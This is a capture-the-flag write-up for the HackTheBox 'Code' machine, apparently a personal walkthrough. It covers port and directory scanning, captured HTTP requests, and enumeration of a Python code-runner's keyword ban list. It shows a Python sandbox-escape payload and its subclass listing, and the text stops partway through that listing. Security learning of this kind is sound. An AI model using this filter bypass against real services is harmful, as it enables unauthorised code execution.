HackTheBox Code Writeup
Machine Details
Network Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(wzwr㉿kali)-[~]
└─$ sudo nmap -sT -Pn -T4 -vv 10.10.11.62
[sudo] password for wzwr:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 00:40 CDT
Initiating Parallel DNS resolution of 1 host. at 00:40
Completed Parallel DNS resolution of 1 host. at 00:40, 0.01s elapsed
Initiating Connect Scan at 00:40
Scanning 10.10.11.62 [1000 ports]
Discovered open port 22/tcp on 10.10.11.62
Discovered open port 5000/tcp on 10.10.11.62
Increasing send delay for 10.10.11.62 from 0 to 5 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.11.62 from 5 to 10 due to max_successful_tryno increase to 6
Completed Connect Scan at 00:41, 63.40s elapsed (1000 total ports)
Nmap scan report for 10.10.11.62
Host is up, received user-set (0.48s latency).
Scanned at 2025-03-23 00:40:38 CDT for 63s
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
179/tcp filtered bgp no-response
1234/tcp filtered hotline no-response
4242/tcp filtered vrml-multi-use no-response
5000/tcp open upnp syn-ack
5730/tcp filtered unieng no-response
5910/tcp filtered cm no-response
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 63.43 seconds
TODO
- SSH vulnerability check
- 5000 port check
SSH Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(wzwr㉿kali)-[~]
└─$ sudo nmap -sT -Pn -T4 -A -p 22 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 00:42 CDT
Nmap scan report for 10.10.11.62
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
66|1 393.24 ms 10.10.16.1
67|2 197.62 ms 10.10.11.62
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.99 seconds
Searchsploit
No any results from searching openssh 8.2p1. There might not vulnerable
Port 5000 Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(wzwr㉿kali)-[~]
└─$ sudo nmap -sT -Pn -T4 -A -p 5000 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 00:43 CDT
Nmap scan report for 10.10.11.62
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 393.65 ms 10.10.16.1
2 197.50 ms 10.10.11.62
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.86 seconds
Seem like it is Gunicorn hosted in port 5000.
Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX.
Webpage Details
It seem likes a python code execution platform.
Gobuster Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(wzwr㉿kali)-[~]
└─$ gobuster dir -u http://10.10.11.62:5000/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.62:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 405 / 20470 (1.98%)[ERROR] Get "http://10.10.11.62:5000/24hourfitness": read tcp 10.10.16.16:41236->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/249": read tcp 10.10.16.16:41232->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/255": dial tcp 10.10.11.62:5000: connect: connection refused
[ERROR] Get "http://10.10.11.62:5000/25": read tcp 10.10.16.16:41252->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/250": read tcp 10.10.16.16:41268->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/251": read tcp 10.10.16.16:41274->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/252": read tcp 10.10.16.16:41286->10.10.11.62:5000: read: connection reset by peer
[ERROR] Get "http://10.10.11.62:5000/256": dial tcp 10.10.11.62:5000: connect: connection refused
Progress: 414 / 20470 (2.02%)[ERROR] Get "http://10.10.11.62:5000/253": read tcp 10.10.16.16:41302->10.10.11.62:5000: read: connection reset by peer
Seem like we cannot brute-force searching directory (DoS), we get banned :(
Request Save Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /save_code HTTP/1.1
Host: 10.10.11.62:5000
Content-Length: 62
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://10.10.11.62:5000
Referer: http://10.10.11.62:5000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
code=print(%22Hello%2C+world!%22)%0Aprint('test')&name=testing
After login, we have My Codes function to view our saved code.
By clicking it, we redirect back to the codes we saved with a id code_id=2
1
2
3
4
5
6
7
8
9
10
GET /?code_id=2 HTTP/1.1
Host: 10.10.11.62:5000
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.62:5000/codes
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJxljDEKwzAQBL9y2VqkSec3pHJngjFCPssHig58EimM_m61JtUWM7Mnli1529kwfE5Q6YMvm_nIcBg5ipXDF9FMVkPoZKvpQZNWCj5T1h8ljST5ibm5_4e3RrmlXZsdqvGxyIrh1S6VYCy-.Z9-dfQ.yBWtU-HFrFJndY5W0hRO4oZi4pA
Connection: keep-alive
TODO
- Try permission sanity check (e.g.,
code_idto other’s code)
1
2
3
4
5
6
7
8
9
10
11
GET /load_code/1238123 HTTP/1.1
Host: 10.10.11.62:5000
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Referer: http://10.10.11.62:5000/?code_id=1238123
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJxtjbEOwjAMRH_FeI5Y2PoNTGwIVVWUuomlNEZx0g5V_51kRDDdcHfvHTgt0WogxeF1IJQWuJKq9YQGH-RZS7aFJYFW51qz1HiBp1RwNkGSHaJ44HTF8TS_hLt4_rr-n3XeLA1XINiN4E15ZdWuLQIb0w4lsIKTmbppNFiV8sQzDrfzA0VcQ7I.Z9-eHw.xdhED-3X9a8qoRH6mDFUbsBvSC4
Connection: keep-alive
If code_id not exists, we are redirect back to default code.
Login/Register
There exists login/register mechanism.
Register with abc:123, and it is able to login!
TODO
- User/Password Enumeration?
Does not work, as the login/register page don’t response any useful information. Combining with banned DoS-like attacks, I highly suspect this is not vulnerable.
Request run code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
Content-Length: 33
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://10.10.11.62:5000
Referer: http://10.10.11.62:5000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
code=print(%22Hello%2C+world!%22)
Here are something interesting:
- X-Requested-With
TODO
- Execute Sensitive Code?
Seems like we have ban list! Let first try to determine is the os keyword is being banned?
yes! os keyword is being BANNED. Let try some enumeration on ban list keyword:
- os
- system
- subprocess
- import
- open
- close
- eval
- read
- exec
TODO
- bypass banned keyword?
After some enumeration, I found that sys is not being banned!
We can first try to determine whether the os module is being removed or just banned by keyword!
Good! The os module is not been removed but just only banned by keyword. Since python are all objects, we can use famous bypass payload:
1
[].__class__.__mro__[-1].__subclasses__()
Here are the output:
1
"0 <class 'type'>\n1 <class 'weakref'>\n2 <class 'weakcallableproxy'>\n3 <class 'weakproxy'>\n4 <class 'int'>\n5 <class 'bytearray'>\n6 <class 'bytes'>\n7 <class 'list'>\n8 <class 'NoneType'>\n9 <class 'NotImplementedType'>\n10 <class 'traceback'>\n11 <class 'super'>\n12 <class 'range'>\n13 <class 'dict'>\n14 <class 'dict_keys'>\n15 <class 'dict_values'>\n16 <class 'dict_items'>\n17 <class 'dict_reversekeyiterator'>\n18 <class 'dict_reversevalueiterator'>\n19 <class 'dict_reverseitemiterator'>\n20 <class 'odict_iterator'>\n21 <class 'set'>\n22 <class 'str'>\n23 <class 'slice'>\n24 <class 'staticmethod'>\n25 <class 'complex'>\n26 <class 'float'>\n27 <class 'frozenset'>\n28 <class 'property'>\n29 <class 'managedbuffer'>\n30 <class 'memoryview'>\n31 <class 'tuple'>\n32 <class 'enumerate'>\n33 <class 'reversed'>\n34 <class 'stderrprinter'>\n35 <class 'code'>\n36 <class 'frame'>\n37 <class 'builtin_function_or_method'>\n38 <class 'method'>\n39 <class 'function'>\n40 <class 'mappingproxy'>\n41 <class 'generator'>\n42 <class 'getset_descriptor'>\n43 <class 'wrapper_descriptor'>\n44 <class 'method-wrapper'>\n45 <class 'ellipsis'>\n46 <class 'member_descriptor'>\n47 <class 'types.SimpleNamespace'>\n48 <class 'PyCapsule'>\n49 <class 'longrange_iterator'>\n50 <class 'cell'>\n51 <class 'instancemethod'>\n52 <class 'classmethod_descriptor'>\n53 <class 'method_descriptor'>\n54 <class 'callable_iterator'>\n55 <class 'iterator'>\n56 <class 'pickle.PickleBuffer'>\n57 <class 'coroutine'>\n58 <class 'coroutine_wrapper'>\n59 <class 'InterpreterID'>\n60 <class 'EncodingMap'>\n61 <class 'fieldnameiterator'>\n62 <class 'formatteriterator'>\n63 <class 'BaseException'>\n64 <class 'hamt'>\n65 <class 'hamt_array_node'>\n66 <class 'hamt_bitmap_node'>\n67 <class 'hamt_collision_node'>\n68 <class 'keys'>\n69 <class 'values'>\n70 <class 'items'>\n71 <class 'Context'>\n72 <class 'ContextVar'>\n73 <class 'Token'>\n74 <class 'Token.MISSING'>\n75 <class 'moduledef'>\n76 <class 'module'>\n77 <class 'filter'>\n78 <class 'map'>\n79 <class 'zip'>\n80 <class '_frozen_importlib._ModuleLock'>\n81 <class '_frozen_importlib._DummyModuleLock'>\n82 <class '_frozen_importlib._ModuleLockManager'>\n83 <class '_frozen_importlib.ModuleSpec'>\n84 <class '_frozen_importlib.BuiltinImporter'>\n85 <class 'classmethod'>\n86 <class '_frozen_importlib.FrozenImporter'>\n87 <class '_frozen_importlib._ImportLockContext'>\n88 <class '_thread._localdummy'>\n89 <class '_thread._local'>\n90 <class '_thread.lock'>\n91 <class '_thread.RLock'>\n92 <class '_io._IOBase'>\n93 <class '_io._BytesIOBuffer'>\n94 <class '_io.IncrementalNewlineDecoder'>\n95 <class 'posix.ScandirIterator'>\n96 <class 'posix.DirEntry'>\n97 <class '_frozen_importlib_external.WindowsRegistryFinder'>\n98 <class '_frozen_importlib_external._LoaderBasics'>\n99 <class '_frozen_importlib_external.FileLoader'>\n100 <class '_frozen_importlib_external._NamespacePath'>\n101 <class '_frozen_importlib_external._NamespaceLoader'>\n102 <class '_frozen_importlib_external.PathFinder'>\n103 <class '_frozen_importlib_external.FileFinder'>\n104 <class 'zipimport.zipimporter'>\n105 <class 'zipimport._ZipImportResourceReader'>\n106 <class 'codecs.Codec'>\n107 <class 'codecs.IncrementalEncoder'>\n108 <class 'codecs.IncrementalDecoder'>\n109 <class 'codecs.StreamReaderWriter'>\n110 <class 'codecs.StreamRecoder'>\n111 <class '_abc_data'>\n112 <class 'abc.ABC'>\n113 <class 'dict_itemiterator'>\n114 <class 'collections.abc.Hashable'>\n115 <class 'collections.abc.Awaitable'>\n116 <class 'collections.abc.AsyncIterable'>\n117 <class 'async_generator'>\n118 <class 'collections.abc.Iterable'>\n119 <class 'bytes_iterator'>\n120 <class 'bytearray_iterator'>\n121 <class 'dict_keyiterator'>\n122 <class 'dict_valueiterator'>\n123 <class 'list_iterator'>\n124 <class 'list_reverseiterator'>\n125 <class 'range_iterator'>\n126 <class 'set_iterator'>\n127 <class 'str_iterator'>\n128 <class 'tuple_iterator'>\n129 <class 'collections.abc.Sized'>\n130 <class 'collections.abc.Container'>\n131 <class 'collections.abc.Callable'>\n132 <class 'os._wrap_close'>\n133 <class '_sitebuiltins.Quitter'>\n134 <class '_sitebuiltins._Printer'>\n135 <class '_sitebuiltins._Helper'>\n136 <class 'types.DynamicClassAttribute'>\n137 <class 'types._GeneratorWrapper'>\n138 <class 'warnings.WarningMessage'>\n139 <class 'warnings.catch_warnings'>\n140 <class 'importlib.abc.Finder'>\n141 <class 'importlib.abc.Loader'>\n142 <class 'importlib.abc.ResourceReader'>\n143 <class 'operator.itemgetter'>\n144 <class 'operator.attrgetter'>\n145 <class 'operator.methodcaller'>\n146 <class 'itertools.accumulate'>\n147 <class 'itertools.combinations'>\n148 <class 'itertools.combinations_with_replacement'>\n149 <class 'itertools.cycle'>\n150 <class 'itertools.dropwhile'>\n151 <class 'itertools.takewhile'>\n152 <class 'itertools.islice'>\n153 <class 'itertools.starmap'>\n154 <class 'itertools.chain'>\n155 <class 'itertools.compress'>\n156 <class 'itertools.filterfalse'>\n157 <class 'itertools.count'>\n158 <class 'itertools.zip_longest'>\n159 <class 'itertools.permutations'>\n160 <class 'itertools.product'>\n161 <class 'itertools.repeat'>\n162 <class 'itertools.groupby'>\n163 <class 'itertools._grouper'>\n164 <class 'itertools._tee'>\n165 <class 'itertools._tee_dataobject'>\n166 <class 'reprlib.Repr'>\n167 <class 'collections.deque'>\n168 <class '_collections._deque_iterator'>\n169 <class '_collections._deque_reverse_iterator'>\n170 <class '_collections._tuplegetter'>\n171 <class 'collections._Link'>\n172 <class 'functools.partial'>\n173 <class 'functools._lru_cache_wrapper'>\n174 <class 'functools.partialmethod'>\n175 <class 'functools.singledispatchmethod'>\n176 <class 'functools.cached_property'>\n177 <class 'contextlib.ContextDecorator'>\n178 <class 'contextlib._GeneratorContextManagerBase'>\n179 <class 'contextlib._BaseExitStack'>\n180 <class 'enum.auto'>\n181 <enum 'Enum'>\n182 <class 're.Pattern'>\n183 <class 're.Match'>\n184 <class '_sre.SRE_Scanner'>\n185 <class 'sre_parse.State'>\n186 <class 'sre_parse.SubPattern'>\n187 <class 'sre_parse.Tokenizer'>\n188 <class 're.Scanner'>\n189 <class '__future__._Feature'>\n190 <class 'zlib.Compress'>\n191 <class 'zlib.Decompress'>\n192 <class '_weakrefset._IterationGuard'>\n193 <class '_weakrefset.WeakSet'>\n194 <class 'threading._RLock'>\n195 <class 'threading.Condition'>\n196 <class 'threading.Semaphore'>\n197 <class 'threading.Event'>\n198 <class 'threading.Barrier'>\n199 <class 'threading.Thread'>\n200 <class '_bz2.BZ2Compressor'>\n201 <class '_bz2.BZ2Decompressor'>\n202 <class '_lzma.LZMACompressor'>\n203 <class '_lzma.LZMADecompressor'>\n204 <class 'Struct'>\n205 <class 'unpack_iterator'>\n206 <class 'zipfile.ZipInfo'>\n207 <class 'zipfile.LZMACompressor'>\n208 <class 'zipfile.LZMADecompressor'>\n209 <class 'zipfile._SharedFile'>\n210 <class 'zipfile._Tellable'>\n211 <class 'zipfile.ZipFile'>\n212 <class 'zipfile.Path'>\n213 <class 'weakref.finalize._Info'>\n214 <class 'weakref.finalize'>\n215 <class 'pkgutil.ImpImporter'>\n216 <class 'pkgutil.ImpLoader'>\n217 <class 'datetime.date'>\n218 <class 'datetime.timedelta'>\n219 <class 'datetime.time'>\n220 <class 'datetime.tzinfo'>\n221 <class 'pyexpat.xmlparser'>\n222 <class 'plistlib.Data'>\n223 <class 'plistlib.UID'>\n224 <class 'plistlib._PlistParser'>\n225 <class 'plistlib._DumbXMLWriter'>\n226 <class 'plistlib._BinaryPlistParser'>\n227 <class 'plistlib._BinaryPlistWriter'>\n228 <class 'string.Template'>\n229 <class 'string.Formatter'>\n230 <class 'email.charset.Charset'>\n231 <class 'email.header.Header'>\n232 <class 'email.header._ValueFormatter'>\n233 <class '_sha512.sha384'>\n234 <class '_sha512.sha512'>\n235 <class '_random.Random'>\n236 <class 'select.poll'>\n237 <class 'select.epoll'>\n238 <class 'selectors.BaseSelector'>\n239 <class '_socket.socket'>\n240 <class 'ipaddress._IPAddressBase'>\n241 <class 'ipaddress._BaseV4'>\n242 <class 'ipaddress._IPv4Constants'>\n243 <class 'ipaddress._BaseV6'>\n244 <class 'ipaddress._IPv6Constants'>\n245 <class 'urllib.parse._ResultMixinStr'>\n246 <class 'urllib.parse._ResultMixinBytes'>\n247 <class 'urllib.parse._NetlocResultMixinBase'>\n248 <class 'calendar._localized_month'>\n249 <class 'calendar._localized_day'>\n250 <class 'calendar.Calendar'>\n251 <class 'calendar.different_locale'>\n252 <class 'email._parseaddr.AddrlistClass'>\n253 <class 'email._policybase._PolicyBase'>\n254 <class 'email.feedparser.BufferedSubFile'>\n255 <class 'email.feedparser.FeedParser'>\n256 <class 'email.parser.Parser'>\n257 <class 'email.parser.BytesParser'>\n258 <class 'tempfile._RandomNameSequence'>\n259 <class 'tempfile._TemporaryFileCloser'>\n260 <class 'tempfile._TemporaryFileWrapper'>\n261 <class 'tempfile.SpooledTemporaryFile'>\n262 <class 'tempfile.TemporaryDirectory'>\n263 <class 'textwrap.TextWrapper'>\n264 <class 'dis.Bytecode'>\n265 <class 'tokenize.Untokenizer'>\n266 <class 'inspect.BlockFinder'>\n267 <class 'inspect._void'>\n268 <class 'inspect._empty'>\n269 <class 'inspect.Parameter'>\n270 <class 'inspect.BoundArguments'>\n271 <class 'inspect.Signature'>\n272 <class 'pkg_resources.extern.VendorImporter'>\n273 <class 'pkg_resources._vendor.six._LazyDescr'>\n274 <class 'pkg_resources._vendor.six._SixMetaPathImporter'>\n275 <class 'pkg_resources._vendor.six._LazyDescr'>\n276 <class 'pkg_resources._vendor.six._SixMetaPathImporter'>\n277 <class 'pkg_resources._vendor.appdirs.AppDirs'>\n278 <class 'pkg_resources.extern.packaging._structures.Infinity'>\n279 <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>\n280 <class 'pkg_resources.extern.packaging.version._BaseVersion'>\n281 <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>\n282 <class 'pprint._safe_key'>\n283 <class 'pprint.PrettyPrinter'>\n284 <class 'traceback.FrameSummary'>\n285 <class 'traceback.TracebackException'>\n286 <class 'pkg_resources._vendor.pyparsing._Constants'>\n287 <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>\n288 <class 'pkg_resources._vendor.pyparsing.ParseResults'>\n289 <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>\n290 <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>\n291 <class 'pkg_resources._vendor.pyparsing.ParserElement'>\n292 <class 'pkg_resources._vendor.pyparsing._NullToken'>\n293 <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>\n294 <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>\n295 <class 'pkg_resources.extern.packaging.markers.Node'>\n296 <class 'pkg_resources.extern.packaging.markers.Marker'>\n297 <class 'pkg_resources.extern.packaging.requirements.Requirement'>\n298 <class 'pkg_resources.IMetadataProvider'>\n299 <class 'pkg_resources.WorkingSet'>\n300 <class 'pkg_resources.Environment'>\n301 <class 'pkg_resources.ResourceManager'>\n302 <class 'pkg_resources.NullProvider'>\n303 <class 'pkg_resources.NoDists'>\n304 <class 'pkg_resources.EntryPoint'>\n305 <class 'pkg_resources.Distribution'>\n306 <class '_ast.AST'>\n307 <class 'ast.NodeVisitor'>\n308 <class 'CArgObject'>\n309 <class '_ctypes.CThunkObject'>\n310 <class '_ctypes._CData'>\n311 <class '_ctypes.CField'>\n312 <class '_ctypes.DictRemover'>\n313 <class '_ctypes.StructParam_Type'>\n314 <class 'ctypes.CDLL'>\n315 <class 'ctypes.LibraryLoader'>\n316 <class 'subprocess.CompletedProcess'>\n317 <class 'subprocess.Popen'>\n318 <class 'logging.LogRecord'>\n319 <class 'logging.PercentStyle'>\n320 <class 'logging.Formatter'>\n321 <class 'logging.BufferingFormatter'>\n322 <class 'logging.Filter'>\n323 <class 'logging.Filterer'>\n324 <class 'logging.PlaceHolder'>\n325 <class 'logging.Manager'>\n326 <class 'logging.LoggerAdapter'>\n327 <class 'gunicorn.pidfile.Pidfile'>\n328 <class 'gunicorn.sock.BaseSocket'>\n329 <class 'gunicorn.arbiter.Arbiter'>\n330 <class 'gettext.NullTranslations'>\n331 <class 'argparse._AttributeHolder'>\n332 <class 'argparse.HelpFormatter._Section'>\n333 <class 'argparse.HelpFormatter'>\n334 <class 'argparse.FileType'>\n335 <class 'argparse._ActionsContainer'>\n336 <class 'shlex.shlex'>\n337 <class '_ssl._SSLContext'>\n338 <class '_ssl._SSLSocket'>\n339 <class '_ssl.MemoryBIO'>\n340 <class '_ssl.Session'>\n341 <class 'ssl.SSLObject'>\n342 <class 'gunicorn.reloader.InotifyReloader'>\n343 <class 'gunicorn.config.Config'>\n344 <class 'gunicorn.config.Setting'>\n345 <class 'gunicorn.debug.Spew'>\n346 <class 'gunicorn.app.base.BaseApplication'>\n347 <class '_pickle.Unpickler'>\n348 <class '_pickle.Pickler'>\n349 <class '_pickle.Pdata'>\n350 <class '_pickle.PicklerMemoProxy'>\n351 <class '_pickle.UnpicklerMemoProxy'>\n352 <class 'pickle._Framer'>\n353 <class 'pickle._Unframer'>\n354 <class 'pickle._Pickler'>\n355 <class 'pickle._Unpickler'>\n356 <class '_queue.SimpleQueue'>\n357 <class 'queue.Queue'>\n358 <class 'queue._PySimpleQueue'>\n359 <class 'logging.handlers.QueueListener'>\n360 <class 'socketserver.BaseServer'>\n361 <class 'socketserver.ForkingMixIn'>\n362 <class 'socketserver._NoThreads'>\n363 <class 'socketserver.ThreadingMixIn'>\n364 <class 'socketserver.BaseRequestHandler'>\n365 <class 'logging.config.ConvertingMixin'>\n366 <class 'logging.config.BaseConfigurator'>\n367 <class 'gunicorn.glogging.Logger'>\n368 <class 'gunicorn.http.unreader.Unreader'>\n369 <class 'gunicorn.http.body.ChunkedReader'>\n370 <class 'gunicorn.http.body.LengthReader'>\n371 <class 'gunicorn.http.body.EOFReader'>\n372 <class 'gunicorn.http.body.Body'>\n373 <class 'gunicorn.http.message.Message'>\n374 <class 'gunicorn.http.parser.Parser'>\n375 <class 'gunicorn.http.wsgi.FileWrapper'>\n376 <class 'gunicorn.http.wsgi.Response'>\n377 <class 'gunicorn.workers.workertmp.WorkerTmp'>\n378 <class 'gunicorn.workers.base.Worker'>\n379 <class 'typing._Final'>\n380 <class 'typing._Immutable'>\n381 <class 'typing.Generic'>\n382 <class 'typing._TypingEmpty'>\n383 <class 'typing._TypingEllipsis'>\n384 <class 'typing.NamedTuple'>\n385 <class 'typing.io'>\n386 <class 'typing.re'>\n387 <class '_json.Scanner'>\n388 <class '_json.Encoder'>\n389 <class 'json.decoder.JSONDecoder'>\n390 <class 'json.encoder.JSONEncoder'>\n391 <class 'email.message.Message'>\n392 <class 'http.client.HTTPConnection'>\n393 <class 'mimetypes.MimeTypes'>\n394 <class 'werkzeug._internal._Missing'>\n395 <class 'markupsafe._MarkupEscapeHelper'>\n396 <class 'werkzeug.exceptions.Aborter'>\n397 <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>\n398 <class 'werkzeug.datastructures.mixins.ImmutableDictMixin'>\n399 <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>\n400 <class 'werkzeug.datastructures.structures._omd_bucket'>\n401 <class '_hashlib.HASH'>\n402 <class '_blake2.blake2b'>\n403 <class '_blake2.blake2s'>\n404 <class '_sha3.sha3_224'>\n405 <class '_sha3.sha3_256'>\n406 <class '_sha3.sha3_384'>\n407 <class '_sha3.sha3_512'>\n408 <class '_sha3.shake_128'>\n409 <class '_sha3.shake_256'>\n410 <class 'urllib.request.Request'>\n411 <class 'urllib.request.OpenerDirector'>\n412 <class 'urllib.request.BaseHandler'>\n413 <class 'urllib.request.HTTPPasswordMgr'>\n414 <class 'urllib.request.AbstractBasicAuthHandler'>\n415 <class 'urllib.request.AbstractDigestAuthHandler'>\n416 <class 'urllib.request.URLopener'>\n417 <class 'urllib.request.ftpwrapper'>\n418 <class 'werkzeug.datastructures.auth.Authorization'>\n419 <class 'werkzeug.datastructures.auth.WWWAuthenticate'>\n420 <class 'werkzeug.datastructures.file_storage.FileStorage'>\n421 <class 'werkzeug.datastructures.headers.Headers'>\n422 <class 'werkzeug.datastructures.range.IfRange'>\n423 <class 'werkzeug.datastructures.range.Range'>\n424 <class 'werkzeug.datastructures.range.ContentRange'>\n425 <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>\n426 <class 'dataclasses._MISSING_TYPE'>\n427 <class 'dataclasses._FIELD_BASE'>\n428 <class 'dataclasses.InitVar'>\n429 <class 'dataclasses.Field'>\n430 <class 'dataclasses._DataclassParams'>\n431 <class 'werkzeug.sansio.multipart.Event'>\n432 <class 'werkzeug.sansio.multipart.MultipartDecoder'>\n433 <class 'werkzeug.sansio.multipart.MultipartEncoder'>\n434 <class 'hmac.HMAC'>\n435 <class 'werkzeug.wsgi.ClosingIterator'>\n436 <class 'werkzeug.wsgi.FileWrapper'>\n437 <class 'werkzeug.wsgi._RangeWrapper'>\n438 <class 'werkzeug.formparser.FormDataParser'>\n439 <class 'werkzeug.formparser.MultiPartParser'>\n440 <class 'werkzeug.user_agent.UserAgent'>\n441 <class 'werkzeug.sansio.request.Request'>\n442 <class 'werkzeug.sansio.response.Response'>\n443 <class 'werkzeug.wrappers.response.ResponseStream'>\n444 <class 'werkzeug.test.EnvironBuilder'>\n445 <class 'werkzeug.test.Client'>\n446 <class 'werkzeug.test.Cookie'>\n447 <class 'werkzeug.local.Local'>\n448 <class 'werkzeug.local.LocalManager'>\n449 <class 'werkzeug.local._ProxyLookup'>\n450 <class 'decimal.Decimal'>\n451 <class 'decimal.Context'>\n452 <class 'decimal.SignalDictMixin'>\n453 <class 'decimal.ContextManager'>\n454 <class 'numbers.Number'>\n455 <class 'uuid.UUID'>\n456 <class 'flask.json.provider.JSONProvider'>\n457 <class 'click._compat._FixupStream'>\n458 <class 'click._compat._AtomicFile'>\n459 <class 'click.utils.LazyFile'>\n460 <class 'click.utils.KeepOpenFile'>\n461 <class 'click.utils.PacifyFlushWrapper'>\n462 <class 'click.types.ParamType'>\n463 <class 'click.parser.Option'>\n464 <class 'click.parser.Argument'>\n465 <class 'click.parser.ParsingState'>\n466 <class 'click.parser.OptionParser'>\n467 <class 'click.formatting.HelpFormatter'>\n468 <class 'click.core.Context'>\n469 <class 'click.core.BaseCommand'>\n470 <class 'click.core.Parameter'>\n471 <class 'werkzeug.routing.converters.BaseConverter'>\n472 <class 'difflib.SequenceMatcher'>\n473 <class 'difflib.Differ'>\n474 <class 'difflib.HtmlDiff'>\n475 <class 'werkzeug.routing.rules.RulePart'>\n476 <class 'werkzeug.routing.rules.RuleFactory'>\n477 <class 'werkzeug.routing.rules.RuleTemplate'>\n478 <class 'werkzeug.routing.matcher.State'>\n479 <class 'werkzeug.routing.matcher.StateMachineMatcher'>\n480 <class 'werkzeug.routing.map.Map'>\n481 